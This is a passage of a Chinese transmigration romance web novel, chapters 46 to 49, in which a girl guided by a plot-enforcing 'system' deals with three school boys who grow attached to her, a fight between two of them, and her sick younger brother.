而顾叙面上未曾显露分毫。 接过了那个戒指,很轻地握在手心。 宛若握住了两人之间充当羁绊的承诺。 “好啊。”顾叙抬了抬唇,嗓音柔和轻淡,“我会交给他的,其他的,你不用再想了。” 阮柚闻言松了口气。 能还回去就好,这本就不该属于自己。 “谢谢。” 顾叙笑:“不用说谢谢,这是我想做的。” 阮柚看着他,蜷了蜷手指。 不知为何,对方的话让她心底升起些许异样。 什么叫做,他想做的。 阮柚移开了目光,看着夜景,理智地没有去问。 现下,她该好好理一理接下来该怎么做。 少女的身影消失在视线。 过去了好久,顾叙才转过了身。 司机早早候在在一边,恭敬为他打开了车门。 而顾叙一时没有进去。 只是用近乎端详的目光,认真打量手里的戒指。 尔后,空气一声轻笑。 答应的事,他会说到做到。 司机静静看着他拍了张照片,心中闪过多余的犹疑。 少爷这轻描淡写的姿态,不像是喜欢这戒指的样子。 现在怎么还拿起来拍照了。 而与此同时。 成玉收到了一张照片。 看到附在底下的一行字后,少年倨傲眉眼泛起抑不住的冷漠。 手机就这么撞在了玻璃,破碎的裂痕宛如定格攀附的蛛网。 四周低气压状态,唯有管家才敢看去一眼。 偏他视力极好,正对上了脚边不远处的手机亮起的屏幕。 ——“过来拿走你的垃圾。” 第46章 第四十六章 觉醒3 其实自始至终, 阮柚内心不曾安定。 她总有一种感觉,事情仿佛从哪里开始变得不受控制。 夜色漆黑宁静,脚步声愈发清晰。 阮柚不由回想起成玉。 她明明什么都没有做。 为什么他要说, 他喜欢她呢? 心里空茫茫地,找不出任何缘由。 最后,阮柚深深呼了口气, 干脆先不去想这件事。 家门推开, 迎面而来的是小阮时。 他颤了下睫毛,看清来人后登时绽开一抹笑, 苍白的脸颊随之溢开了薄薄血色。 “姐姐!” 小阮时本能迈了半步,忽然似想到什么,定格在原地,眼睛亮亮眨巴着。就像向日葵看见了太阳似的。 阮柚思绪莫名, 内里空茫感却愈发凝重,先前只顾完成任务, 很少刻意去感受周边人或物, 而如今—— 她看着满眼藏不住依赖的阮时, 呼吸忽然变得很轻。 她对他称不上好。 可为什么, 他还是选择靠近她呢。 “嗯。” 阮柚应声, “我回来了。” 说罢,她扫了眼空荡无声的家,忍不住蹙了下眉。 家里怎么只有阮时呢? 小阮时笑地像吃了块蜜糖, 抬着小脑袋一动不动, 耳根却因为开心而泛红。 因为姐姐正在揉她头发! “姐姐……” 甫一听见阮时脆生生的话, 阮柚从短暂失神中走出,低头,便对上了一双黑溜溜的眼睛。 阮柚眨了下眼睛, 忽地反应过来,触电一般收回了手。 唔,她在做什么呀。 她可是不近人情、要走冷酷风的人! 阮柚蜷起拳头,不自然咳了声,把这归因于一时鬼迷心窍。 都怪他太可爱了,头发还软软的! “妈妈呢?” 阮柚忍不住问。她发觉房屋里静的出奇。 这都快八点了。 “妈妈出去工作了,还没有回来。” 小阮时如实回答,“她让我乖乖等他回来,不要给陌生人开门,包括…” 他越说声音越低,卡顿两秒后,“爸爸。” 阮柚心下了然,目光却不由落在他泛着青紫的手背。 “他又回来了?” 阮柚语气硬邦邦地,隐约透着冷,她本能厌恶这样的人。 阮时后知后觉捂住手背,“没有没有,我已经很长时间没再见到他了。” 似乎怕她担心,他语速很快,眼底闪动光芒。像嵌在夜空里的星星,一闪一闪地,映着阮柚明净的脸庞。 阮柚一时哑口,捏了捏手指软肉。 从阮时身上,她总能想起常年躺在病床上的自己。对待幸福如履薄冰,连丁点的期待都小心翼翼,生怕它会从手心处溜走。 “放心,已经他不会再回来了。” 阮柚再度出声。 她想到了之前的约定,江净理从来都是讲信用的人,在这一点上,她几乎笃信不疑。 所以你不用再怕啦。 阮时张了张唇。 灯光悠长昏黄,衬得睫毛湿漉漉,他望着眼前的人,对方立在那里,轮廓晕开柔和光亮,照在他心底暖融融的。 “我已经不怕了!” 他笑了笑,难得有了些生机意气,“我会保护你们的。” 永永远远。 他在心底认真补充。 阮柚闻言,不自觉抬抬唇角。哼,先把病养好再说吧。 而正当她沉默功夫,忽然听见有人转动门锁。而后,便对上了开门而入的阮母。 “妈妈!”阮时笑盈盈地,整个人像泡在幸福里,“姐姐也回来了!” “太好了。” 阮母柔和一笑,“团聚了,团聚了。” 阮柚花了很短的时间接受到了一个信息。 而后,她的一只眼皮直到快要入睡,仍在隐隐跳动着。 望着漆黑一片的空气,阮柚深深呼了口气。 不久前,阮母提及最近找了份工作。收入颇丰,且几乎没什么工作量,只需要早晚过去给雇主花园浇浇花、松松土。 ———“感觉我把所有运气都用在找到这份工作上了。” 彼时,阮母轻轻叹了口气,她从来没想过会得到这么好的工作机会。 而如今。 阮柚闭着眼,不受控地想一件事。 她的雇主……正是江家的本家。 也就是——多半是在江净理授意下进行的。因为她不相信世界上有这么巧合的事情。 阮柚心情有些复杂。 因为变数好像又多了一个。 但她转念一想,也许,只是因为他之前答应帮她而已。 等发现被她“反复利用”,江净理自然会按照原剧情、看清她的“真面目”的! 逻辑完美自洽! 灵光闪现过后,困意随之上头,她索性不再去胡思乱想。 — 顾叙为了钢琴巡演准备了很久。 阮柚不懂乐理,但她能感受到顾叙的才华出众,他无疑是罕见的钢琴天才,坐在钢琴前总会变得不一样。 而具体哪里不一样。 阮柚也无从说起,但当和李稚提起她的想法后,对方思索了两秒,而后一脸讳莫如深地笑了起来。 阮柚被盯的有些发毛。 又很是茫然。 直到顾叙练习完从台上走下来,她依旧能听见李稚时不时地笑。 让她莫名联想起她沉浸在漫画的样子。 “阮柚。” 顾叙拿起挂在座位上的外套,“你能过来我很开心。” 他自然而然落坐在她身边。 少年身上有极浅的木质香,让人想起雨后雾蒙蒙下森林,清洌纯然,没有丝毫的攻击性。 他穿着一丝不苟的西服,却松弛地坐在阮柚身边,灰眸凝满了专注。 顾叙喜欢在说话时直视她的眼睛,但点到为止,从未让她感到不自然。 “当然了。” 阮柚抬了抬唇角,睁眼说起瞎话,“我可是一直都是说到做到。” 而且,听他弹琴真的有助身心愉悦呀! 没有不去的道理吧。 话落,李稚拍了拍阮柚的肩膀,在对视过后又眨巴了三两下眼睛。 “我有些事先走了,你们好好聊。” 阮柚张了张唇,还未应声,接收过对方一个鼓励的眼神。 阮柚:…… 盯着对方迅速飞离的背影,她一时不知该什么心情。 你明明只是跑到了后面一排啊喂! “我知道。”顾叙笑了笑。 他笑得很轻,但眼底都染满笑意,“我一直都知道。” 语气听出小骄傲怎么回事? 阮柚眨了下睫毛,下意识归结于错觉,她扫了扫周围。 正值休息时间,听闻顾叙在礼堂排练后来了不少人,如今正用隐晦灼热的眼神看着这边。 阮柚不自然抿抿唇。 她发现,不知何时起他们这一排就她和顾叙两个人! 而少年对此无知无觉。他早已习惯了被关注,自然也习惯专注于她,不受周遭任何干扰。 “两天后是我的最后一场。” 顾叙侧着身,眉眼带笑,轻声确认了一遍,“你会来看我的,对吗?” 松散注意力收拢过后,阮柚就这么对上了他的视线。 她不免呼吸一滞,看出了对方异常虔诚的认真,像安静铺开的白纸,任何呼之欲出的话语都能刻在上面,成为珍贵至极的答案。 阮柚抿了抿唇,过了半晌,很轻地嗯了一声。对着这样的眼神,她莫名说不出拒绝的话。 更何况—— 按照剧情,她本也不该拒绝。 顾叙闻言,却安静了片刻。 正当阮柚疑惑他的忽然沉默时,见他笑意愈深,沉在了灰色眼眸里。 阮柚问:“怎么了?” 顾叙摇了摇头,半晌,认真道,“我很期待你能来,真的。” 阮柚迟缓点了点脑袋,又有些欲言又止。她要不要和他解释一下,自己真的不知道怎么欣赏音乐呀?他这么盼着她来,难道真的是要和她探讨音乐? 出礼堂后外面下起了雨。 雨幕稠密,雨水顺着房檐砸落地面,连空气都变得潮湿起来。 阮柚百无聊赖地伸了伸手,又默默收了回去。唔,好凉。 她想起之后的任务。 在顾叙巡演的剧情点里,推动女主宁糖与顾叙感情发展。按理说,他们现在应该是一种互相欣赏的状态。但经过梳理过往,似乎两人除了同在社团以外,几乎没有多余交集了。 而系统对其解释为:“肯定是因为顾叙太喜欢学习了。” 所以,所以…. 连他们的社团活动都不怎么参加了吗! 这样下去可不行呀。 忧愁—— 对着磅礴大雨,阮柚深深叹口气。 “怎么一个人站在这里?” 身后传来熟悉的声音。 想谁来谁。 阮柚抿抿唇角,迅速压下一闪而过的心虚。 “我在欣赏风景。”她秉持自己睁眼说瞎话的能力。 “风景?” 顾叙轻声重复,抬了抬眼皮,“这里乱了。” “嗯?” 阮柚茫然,而后感觉脖颈忽然痒痒的。 柔软的发尾被对方小心翼翼拨到了衣服外面,骤然接触微凉的空气,她忍不住颤了下睫毛。 “——谢谢。” 意识过来后,阮柚慢半拍道。 “不客气。” 顾叙回以一笑,乌黑短发压在的耳廓处,隐约透出了些许粉红。 幸好。 他心口一松。 她听不见他的心跳声。 阮柚抬了抬头,却忽然不自觉朝一个方向望去。而后,她神色一滞,涌起一种不自然的陌生情绪。 在一片雨幕里,撑伞的同学人来人往。 唯独一个人,一身黑衣黑裤,被雨淋透了却又不曾暗淡,只是身影看起来有些孤独。 少年像忽然闯进了雨幕,脚步戛然而止,浓黑睫毛慢吞垂着,像陷入了什么情绪黑洞。 于无声处,他看向了她。视线依旧灼热而蓬勃,却又被什么压抑着,显出几分恹恹。 像是被遗弃的小狗。 是成玉。 阮柚想起先前发生的事,不知觉后退了半步。原因无他,实在是太过于印象深刻。且她如今也…不太想面对所谓“觉醒”的他。 这意味着混乱和失控。 正思索着,肩膀忽然轻搭过来了一只骨节分明的手。 顾叙扶住了她,垂眼,语气几分疑惑,“怎么了?” 阮柚摇了摇头,没有解释什么。 而她的后退在似乎在成玉眼里成了抗拒,他垂了垂眼睛,脸色似乎更苍白了些。 阮柚抿唇,强迫自己去移开目光。如今,只有先远离他才是最优解吧。 而顾叙抬了抬眼睛。他早就看见了成玉,所以视线沉静地几近疏离。 而他就站在她身边。 没有做,也没有说。 但他想。这已经足够了。 至少,他捕捉到了对方眼里。 那抹名为嫉妒的情绪。 这就足够了。 第47章 第四十七章 觉醒4 * 系统先前对她说, 人物觉醒意味超脱控制,随时随地都会有崩坏世界线的风险。 她需要做的,是将这个机率控制到最低。 而最后, 系统还不忘解释:目前监测到偏离指数较低,还是可以挽回的! 思及此处,阮柚有些恹恹靠在了墙壁边。 刚才她离开地太过于仓促, 甚至没能听清顾叙最后的回话。如今一想, 反倒愈发有种欲盖弥彰之势。 心情一时复杂萦绕。 阮柚蜷了蜷手指,聚拢意识后, 慢半拍地觉察到面前的视野已然暗下。 唔。 有人在她的前面停了下来。 阮柚不由抬了抬眼皮,呼吸近乎漏了半拍。 她没想到会在这时候遇到他。 江净理抱着一摞文件,安安静静地看了过来。 少年神色本有些厌倦,却在对视后, 眼底缓慢松动出薄淡的笑意。 不知停留了多久。 其实一直以来,阮柚都觉得他有些难以捉摸、不按常理出牌。因此面对面时总绷着一处心弦, 生怕不小心就要把事情给搞砸。 而事到如今—— 令她有些惊讶的是, 如今江净理竟是最难得“配合”的人, 一切都看起来未曾脱轨, 在大致的剧情轨迹上运行。 于是, 她尝试着去松松心神。 似听见她的心声一般,江净理忽然来了句,“他们已经消失了吧。” 即使问的突兀, 阮柚也很快地反应了过来。 ——她最近一直在想这个事。 她缓慢点了点头。 “还有其他事需要我么。”江净理低头, 睫毛拓下薄淡的阴影, “阮柚。” 不知为何,阮柚注意对方念名字前的两秒停顿,以及语气里无形的认真、纵容。 思及此处, 阮柚迅速甩开不自然的情绪,抑制住想拍拍脑袋清醒的欲/望。 错觉,一定都是错觉。 阮柚总有种呼之欲出的直觉。 那就是,他其实很擅长制造假象。但她也不明白自己为什么会这么想。 她垂睫,很认真地眨了下,让自己定下来神。 她没忘记自己的人设。 “这些事你不要告诉别人,我不想让他们知道。你会帮我的,对吧。” 说罢,阮柚抬了抬下巴,清了清嗓,刻意压低些声量。 像是怕被其他人知道似的。原漫里,她身为对照组一般的存在,就是因为一次次虚荣无度的索取,才慢慢被撕破了假面。最终走向了被打脸、厌弃的下线地步。 江净理:“嗯。” 出乎意料的是,他不假思索答应了。 阮柚心底闪过一丝不自然,没有说话。 他则不经意地笑了下,并未停留这个话题上,“好啊,只有你和我知道。” 少年指骨分明,冷白手背凸起漂亮的青筋,他略略低垂下了眸,很轻勾过她松开的小拇指。 陡然触电一般,阮柚条件反射缩回了手,而后,却不期撞在对方摊开来的手心。 手背处传来的触感冰凉如玉。!! 阮柚呼吸一轻,便见江净理正对着她笑。 他的笑意很深,眼尾微扬,连胸腔都轻轻颤了下。 故意的,摆明故意的。 可恶! 阮柚忍不住咬了咬牙齿,目光灼灼,正想抽回去手时,一只手腕忽地被收拢着微锢。 阮柚反应不及,就这么张了张手指,一叠陌生文件就这么落到她手心上。 文件似乎刚刚打印出来不久,浅淡温热依旧留存在皮肤。 见状,阮柚眼底的情绪很快被迷茫替代,目光不由被它吸引。 江净理很轻地松开手,“这是目前联系到国内外专家医生的全部资料。” ……这是什么? 阮柚垂睫,略微错愕盯着它看。 她张了张唇,声音像卡在嗓子里,迟迟未曾发声,最终,只正对上了他的眼睛。 “名字叫阮时,对吧。”江净理抬了抬唇,嗓音异常平静,“他值得过更好的人生。” 阮柚蜷了蜷手指,终于确定了他话语含义。 确定了几遍他没听错后,她抿抿唇,对上了江净理看来的视线。 少年眼眸深黑不见底,情绪波动都陷落在了深处,鲜少有外露时。而如今,却像一面通透明镜,唯独映照她一个人。 不知为何,阮柚回想起来原漫设定。 出身顶级权贵世家,江净理是被精心培育的完美继承人,而这无疑意味着——在极度理智的同时,他也永远无法摆脱上位者骨子里的傲慢与疏离。 他或许会为路人捡起掉在地上的书本,但事后一定会静静将擦过手指的纸巾扔进废弃纸篓; 他或许会立在慈善宴会推杯换盏,但从不会对走投无路敲门祈求的对手施以半点同情。 他从不会无缘无故的对人好。 但如今—— 阮柚想起他所做种种,以及刚刚他看过来的眼神。就如同,她说什么他都会答应一样。 思及此处,阮柚垂下了睫毛,很快将这个多余想法从脑海里抹去。 那是因为他现在还不知道吧。不知道其实救他的人并不是自己。 半晌过后,阮柚还是道:“……谢谢你,他应该挺需要的。”语气刻意维持着别扭到怪异的生疏。 “嗯。” 江净理静静看了她几秒,嗓音再响,“周末下午三点,我在三楼的画室等你。” “嗯。”阮柚轻轻颔首,“我记得的。” 这就是他们之前的约定。 江净理最近在绘一幅非常重要的画,作为送人的礼物。她答应要做的只是在那天下午,帮助他完成最后收尾的工作。很简单平白的要求,简单到让她感到有些奇怪。 两人聊天到了末尾。 而就在这个时候,隔着漫长走廊,人群忽地熙攘声起,传来一片片惊呼。有人喘着粗气、跌跌撞撞跑进了她的视线末端。 阮柚定定地看,忍不住蹙起了眉头。 “那边他们打起来了!” “谁啊?谁打起来了?你怎么这幅表情!” 隔着吵闹人群,阮柚看着对方憋红了脸,嘴唇动的飞快,声音因激动而有些尖锐。 在听清过后,阮柚像是被轰然炸开,大脑嗡嗡一片,只剩下忙音。 成玉和顾叙打起来了。 — 校医务室。顾叙推门而出时,周围很多前来探望的同学。他人缘很好,即使做了很简单的伤口包扎处理工作,也有人将他精心喂养的流浪白猫带过来陪他。 小白猫好像觉察出主人与平时的不同,柔软的小脑袋在他脖颈拱来拱去,蹭地少年轻轻发笑,歪了下脖颈,气质愈发地温润无瑕。 因而,下颌处的白色创可贴无疑衬成最刺眼的存在。 一时间,周遭嘘寒问暖无数。 “学长,你没事吧,伤口还疼吗?” “好好奇为什么要打架呀?成玉其实人挺好的呢。” “安静!你怎么能在他面前说这些。” “我是看到成玉也有受伤嘛…” “我哥哥在最好的医院工作,他很会处理伤口。” “要是我没记错的话,你哥是在骨科工作吧?而且刚进去没多久,目前还是实习生。” 话音一落,有人毫不留情地拆穿。 “你!”那人尴尬一顿,“那也比你哥秀滑雪摔断腿去医院好,还是我哥帮忙搬的!” 小白猫百无聊赖喵了一声,似乎嫌弃太吵,懒洋洋地舔了舔爪。 顾叙眸光淡淡,伸手轻抚了它的毛发,自始至终都含着很轻的笑意、保持着礼貌态度。 事态终于平息过后,他抬了抬眼皮,开了个头,“请问——” “你们有没有看到一个人?” 在场人皆是茫然,静下来看着他。 顾叙:“她很可爱,头发大概这么长,喜欢把制服袖口挽起露出一个银白纽扣。” “忘了说了。”少年似乎意识到自己疏忽,笑得几分不好意思,“她叫阮柚。” 阮柚。在场有人低声重复了一声,很快地对上了号。是那个看起来合群、却总让人感觉很特别的漂亮学姐! “我知道。”她很快应声,努力回想着,“我刚才好像在楼下看到她了。” 她再度细细回忆,“嗯,好像被江学长叫走了。” 话落过后。 极罕见地,顾叙并未很快回话,反而沉默了半晌。他慢吞垂着眼睫,手指缓慢抚摸过白猫的毛发,隔了会儿,嗓音浅淡似轻吟,“是么。” “我知道了,谢谢你告诉我。” 说罢,少年抱着怀里的猫,作了礼貌地告别,离去身影渐渐消失在暖白长廊。 说话的女生摸摸后脖颈,心中闪过莫名异样。 如果刚刚没有听错的话,对方降下来的语气里,明显隐藏压抑的冰冷。 不可能吧。 顾学长这么温柔,肯定是听错了吧。 她心想。 — 听到两人打架的消息后,阮柚第一反应是难以置信。因为在她印象里,成玉和顾叙从小一起长大,关系其实还算不错。 而如今居然打了起来。 ——他们打架、不会是因为她吧! 意识到这点,阮柚心跳忽然漏了半拍,深吸一口气,不受控的失衡感再度浮现心头。 而恰在此时。 好久未曾上线的系统忽然冒出头,言辞肯定,“是的宿主,应该就是因为你。” 阮柚:…… 欲言又止。 系统接着道:“成玉人物觉醒,意味已经脱离剧情控制,他会对之后剧情产生不可抗的影响,请宿主尽量将影响降到最低,请宿主尽量将影响降到最低。” 它说到最后,语气竟流露出来可怜巴巴的意味。似乎是真的没办法了。 阮柚唇抿成了一条线,面无表情心想。 同时,她觉得先前那个想靠系统扭转局势的自己,属实有点傻乎乎。 因为—— 它比纸糊的老虎还要靠不住! “你要去找他们吗?” 这时,江净理忽地在身后出声。 他并未走上前,只停留在最初原地,用平淡无甚起伏的声线,讲着最稀疏平常的话,“你去能做什么呢。” 嘈杂混乱时,少年嗓音夹杂着细雨斜风,就这么清晰撞在她的耳廓。 阮柚呼吸倏地一滞,停下脚步,一时没有回过去头。 因为再度开口时,他是在说—— 失控了,是么。 第48章 第四十八章 觉醒5 *** 心跳仿佛就此遗漏了一拍。不知名的情绪缓慢涌上心头, 生生悬在她的嗓子眼处,令她说不出半句话。 少年刚才的话语清晰在耳畔回荡,反复地拉扯起心弦。 他那句话是什么意思? 什么是……失控了? 难道说, 他真的知道些什么吗? 思及此处,阮柚摁了摁手心软肉,竭力稳住心神。 不, 还不一定呢。 直到他走到她身前, 阮柚仍未回话,只微微抿唇, 努力恢复神色如常。 在一切未成定局之前,她不能自乱阵脚。更何况,江净理并未检测出有所谓“觉醒”的迹象。 “嗯?” 阮柚很轻地吸了口气,勉强自然道, “我不明白你在说什么。”出于趋利避害的原始本能,还尚未思索前, 她装傻的话语已经从嘴里说了出去。 对方则定定看了她几秒, 也沉默着。 少年模样偏冷, 不说话时更是无形添了几分锐利感。他的视线静压在她面前, 似探究, 也似旁观。 沉默的间隙,无人知他在想些什么。 却让她莫名生出无处遁形之感,某处敏感神经随之紧绷起来。 阮柚内心焦灼, 手指机械卷着文件页角, 飞速思忖要说的话。 “那个——” 她虚虚张唇, 对上他的眼睛。 在此时,却忽然觉察到细微的触感。 像羽毛划过皮肤般,他伸出一只手, 慢条斯理拨开她曲起的指节,将被摧残生褶的文件页角抚平。 他的动作行云流水,又有着异常的专注。阮柚呼吸一滞,不期间,再度与他四目交接。 江净理眉眼带笑,唇勾起浅弧,“无所谓,这些不重要。” 令她感到意外的是,他嗓音轻淡,就这么将话题揭了过去。 阮柚眼底闪过一丝犹疑。 尚未消化完信息,又听他接着道,“重要的是,你没必要过去。” 江净理抬了抬眼皮,语气微松。 他其实离得很近,不仅覆盖了大半光亮,如今就连她鼻息边缘,都徘徊着他身上清洌疏远的冷松香。 觉察到一股近乎隐晦的侵/略感,阮柚细微后退了半步。 而动作全然落在了他眼底。 江净理目光乌沉沉地,像含着融不开的墨,将一切看的清楚明了。 阮柚眨了眨睫,低着脑袋,内心酝酿如何快速结束话题。隔了两三秒,听见头顶再度传来熟悉的声音,冰冷至极。 ——“更何况,他们都不配。” 闻言,阮柚呼吸一轻,猛地抬起了头,却同时听见系统长鸣耳畔的警告声。 一下子转移了她的注意力。 “检测到剧情即将出现无法弥补的偏转,重要人物成玉即将登场。请宿主尽快结束会话,请宿主尽快离开现场!” 阮柚紧紧抿唇,脑海嗡嗡声不断,努力从浮动电子音拼凑出大概信息。最后只剩一个念头:不管怎样,现在千万不能让成玉和江净理遇上。 成玉其实很早就看到那边。 自小与顾叙一起训练的格斗术,在互相下狠手的打架里,自然谁也不会落下风。 少年下颌微绷,唇角猩红夺目,连睫毛都泛着冷意,让人不敢轻易靠近。 成玉回想先前的一切。 雨势转缓,潮湿雨幕变得稀疏。顾叙插兜静立在台阶之上,一双灰眼装满假惺惺的柔和。 “你觉得我把她抢走了?” “可是成玉,你还不明白么。” “无论什么时候,你只是个外来者而已。” 顾叙。 凭什么。 再怎么滴水不漏的伪装,也终有被识破的那一天。到那个时候,她还会再看你么。 还会再站在你身边么。 成玉近乎冷漠、又讽刺地想着。 直到隔着长空,瞥见了一道熟悉的背影。 他微怔了一下,紧攥着指骨,终是没有走近一步。 最后,她和江净理一起离开了。不难看出,她真的在躲着他。 他……不能再吓到她了。 朋友喘着粗气姗姗来迟,看见的便恰好是成玉这幅模样。他微垂着头,略凌乱的乌发耷拉眉骨,看起来——— 似乎像是丢了魂? “成玉……” 他还是第一次见这样的他,“伤口还是去医务室处理吧。” 话落,成玉眼皮一抬,忽地发问,“我现在样子很可怕?” “啊?” 他挠挠脑袋,尔后狠狠地点头,“是的,真的很可怕,肯定把顾叙吓得不轻!”说罢,似乎觉得彩虹屁发挥的不太好,又坚定地点了点头,却忽地对上了成玉的视线。 冷的像把刀,凉飕飕地。 他缩了缩脖子。 成玉眼神冷洌:“闭嘴。” 朋友赶忙抿紧唇,眼神挣扎着迷茫。 他…他其实也没说错呀! 谁会顶着脸上的血招摇过市啊!连那些想嘘寒问暖的人都被吓回来了。 刚才那失魂落魄的样子,肯定是他看错了! ** 见系统警告声停了下来,阮柚虚靠了一下墙,这才松了口气。 抬眸,正对上江净理看来的目光。 呼吸倏然一滞。 忘了,现在不只是她,还有他。 阮柚眨了下眼睛,将杂乱情绪一扫而空。而后,听见路过有学生在和江净理打招呼。 江净理语气如常,侧着头,礼貌而疏离。 阮柚觉得这是个好时机。她可以借着这个功夫,囫囵道声别,便先一步离开。 事到如今,她也没办法再自欺欺人下去。江净理他,一定知道些什么。只有这,才能解释他先前表现的种种异样。 但就像与黑夜隔着一层砂纸。她小心翼翼不敢轻易戳破,只因为控制不了未知后果。 先走一步看一步吧。 而话语刚说完,靠近的手腕便被对方生生一拉。即使少年手心很凉,但她还是像被忽然烫了下,不由蜷起了手指。 怎么了? 她身形一顿。 尔后,一道声音再度响起,很平静,听不出什么情绪。 他提醒她,“你的鞋带松了。” 啊?哦。 阮柚面露恍然,看向不知何时松散的鞋带,道了声谢。 刚准备系鞋带,对方却先一步弯下了腰,垂眼,分明手指娴熟绕过她的鞋带。 一时间,阮柚愣了愣,尔后感觉自己要被周围盯穿了。 她咬了下唇,蜷起的手心有些冒汗,“不用了,不用了,我自己来吧。” 什么情况。……江净理居然在给他系鞋带! 还是在这么多人的眼皮子底下。 “别动。你看,又乱了。”他抬起了头,一双眼睛雾沉沉的,带着极淡的笑意。 比起他的平静,她似乎显得反应过度。 他在阮柚复杂且欲言又止目光下,若无其事系好了鞋带。 阮柚明显感觉周围静了静,神色各异。偏当事人最为平静,眉眼疏淡,依旧站在她对面。 她张了张唇,最后,干巴巴地道了声谢。 而恰在这个时候,空气遥遥响起一道熟悉的声音。 “阮柚,我们该回去了。” 阮柚看了过去,是顾叙在叫她。 他似乎刚来没多久,始终停留在走廊伊始。 阮柚慢半拍地应了声,“好,好啊。” 这就过去! “那我先走了。” 她看了眼江净理,“我要回去了,再见。” 刚走了一步,江净理却喊住了她。他走近些,遮住了她的视线,“可我还有话想对你说。” 他的语气似乎有些无奈。 阮柚一怔。 “阮柚。” 那道声音再度响了起来,愈发清晰,顾叙似乎走了过来。 “上课快迟到了。” 直到顾叙走近,阮柚才看清他下颌的伤,想起之前听到的消息,心情有些复杂。 “好,还有什么事么。”江净理安静片刻,很轻地耸肩,“那是只有我们才能知道的事。他抬了抬唇,只看着阮柚,“但我不急,等下次见面,我再告诉你。” 闻言,阮柚顿时紧张了起来。 他说的应该是有关她暂时不能为人知的秘密。 思及此处,阮柚紧了紧抱在怀里的文件,很轻地嗯了声。 江净理则笑意更深了。 两人的互动就这么映在了顾叙的眼睛里。 顾叙很安静地旁观,不置一词,只是眼神有些淡。 很奇怪地,明明麻木的伤口就这么隐隐作痛起来,痛感来得迟钝。等他意识过来之际,身侧倏地一声关切的惊呼。 “学长,你的手!” 阮柚顺势看了过去,忍不住蹙了蹙眉。 对方手背冷白,渗出的血异常触目。 “不疼吗?” 阮柚走近了些,低下眼睛,有些不赞同,“你后天还要弹钢琴呢,顾叙。” “对不起。” 顾叙似乎怔了一下,尔后轻道,“让你担心了。” 阮柚看着他的手背,不知道说什么好。明明很看重那场巡演,明明是自己的身体,怎么这么不爱惜呢? 阮柚欲言又止,眉皱了一松,最后抿了抿唇。 因为她隐约觉察到周遭徘徊着奇怪的氛围——他们都在看她,包括江净理和顾叙。 阮柚不自然摸了摸鼻尖,决心不再停留,先声作了告别。 “既然没什么事,我先回去了。” 好奇怪啊。——她也没做什么吧? 为什么他们都在看自己。 回到教室后。 阮柚将文件塞到了书包夹层,软绵绵趴在了课桌。窗外的雨终于停了,云层隐约透出来彩虹,不少人围在窗沿拍照闲聊,教室显得有些空荡。 “我其实一直在找你,阮柚。” 顾叙坐在她对面。 阮柚望过去时,他正安静望着她……的手腕。 确认过后,她闪过一丝怪异,缩了缩衣袖,“找我什么事?” “我是说,” 觉察到语气有些僵,阮柚缓慢眨了下睫,见他仍在看自己手腕,心中异样更甚,转而不经意问了句,“对了,你为什么要和成玉打架。” 话一说完,她就紧抿了一下唇,开始懊恼自己问出的话。因为直觉告诉她,自己不该主动去问的。 尤其是在现在。 阮柚定定眸,很快地坐直些,“没关系,顾叙,如果你不想说的话……” 顾叙转过来视线,眼皮微掀,弯了下唇角,“为了你。” 少年看了过来,视线缓落在她的眼里,语气很轻,轻到仿若在自言自语,“当然,我也有私心。” “想让他离你远一点。” 第49章 第四十九章 觉醒6 阮柚一时静默。 顾叙眼眸安静平和, 带着浅浅笑意。 正如很难不去注意他下颌挂的淤伤一样,阮柚无法不在意他刚刚说出的话。 ——私心? 阮柚张了张唇,喉咙干干的, 微痒,一时间发不出半个字。 仿佛陷入了什么怪圈。是囿于其中、无法走出去,还是畏惧未知、不敢走出去呢? 她其实也不清楚答案。 只是如今看着他专注的眼睛, 阮柚还是先一步错开, 她不知该如何去回应。 沉默间,手腕处传来薄薄的触感。沿着皮肤滑过寸寸的温热, 顾叙低头牵过她的手,睫毛微垂,用纸巾擦拭着痕迹。 少年低着头,动作安静专注, 似乎理所当然如此,先前做过无数遍般。 “顾叙……” 阮柚张了张唇, 心口异样感更甚, 往后缩了缩。 “以前我的老师和我说过。” 顾叙抬起了眼睛, 嗓音柔和依旧, “抹去不该存在的, 会让一切变得更完美。” 对方的话语有些跳跃,让人一时摸不清意味。 阮柚抿唇,半知半解重复, “不该存在…” 是什么意思? 顾叙则收回纸巾, 似看出她想问什么, “我是说。”他话语一顿,唇角微弯起,“这里脏了。” 他再度看了眼她的手腕处, 一双灰眸氤氲着浅淡情绪。 平和,却晦涩。 所以这就是一直盯着的原因吗?阮柚默默将手腕缩回了衣袖,欲言又止,到底还是没有问出声。 脏了?不小心蹭到什么了么。 阮柚敛神:“下次不要再这么冲动了。” 她还是再度提起了打架的事。 如果真的是为了她的话。 阮柚抿了抿唇,用力捏了捏手心,“我不值得你这么做,顾叙。” 她说起来很认真,像是下定了决心,还有几丝极力隐藏的紧张,均被顾叙收揽在了眼底。 饶是他再想要自欺,也没办法去否认。 ——她是在和他划清着界线。 顾叙后知后觉发现,周遭空气这么冷。 伴着寸寸呼吸,一丝一缕透过胸口,冷的发涩。 他沉默半晌,尔后,唇角微微弯了弯。笑容弧度很浅,但看起来很干净。 “没有什么值不值得,阮柚。” 他顿了下,“只是我想,我想这么做而已。” 少年重复了句,很认真,“所以请你不要有任何的负担。” 恰逢上课铃响。 他最后说的话很轻,重叠在打铃声响里,轻到不禁让她怀疑真实感。 阮柚垂了垂眼睫,神色有些复杂。 她望着偶然铺开在桌面的纸,白的单调,一尘不染。温柔纯粹,就像顾叙本人带来的感觉。 所以她无论如何也想不出原因。 为什么刚刚,系统会毫无征兆地发出警告声。 “检测到人物有剧烈情感波动,请宿主注意稳住剧情。检测到人物有剧烈情感波动,请宿主注意稳住剧情。” “人物偏转到极值,便会触发觉醒风险。” 那是她最不想见到的结果。 — 一场大雨过后,天空彻底放了晴。 但阮柚非常不凑巧地在这个时节感冒了。 她趴在桌上,竭力清了清嗓,发出的声音依旧夹杂沙哑。 被李稚调侃像橡胶小黄鸭。 “很不幸,学校合唱团失去了我。” 隔着一层口罩,阮柚说得一板一眼,声线闷闷地。 闻言,李稚被逗得噗嗤一笑。 好神奇呀,明显在一本正经地胡说八道,但偏偏有种让人不自觉想去相信的魔力。 负责报名表的男生摸了下脖颈,红脸结巴道:“我、你其实可以过几天再过来…” 似想到什么,他再度直了直腰板,坚定了些,“你放心,我们合唱团不会错过任何一位人才的!” 闻言,阮柚一愣一愣,忍不住笑了声。 毕竟她只是开个玩笑,况且—— 五音不全的她和“人才”这两个字完全不沾边呀! 她抬了抬下巴,露出眼尾都染上笑意,晃动漂亮的光芒。 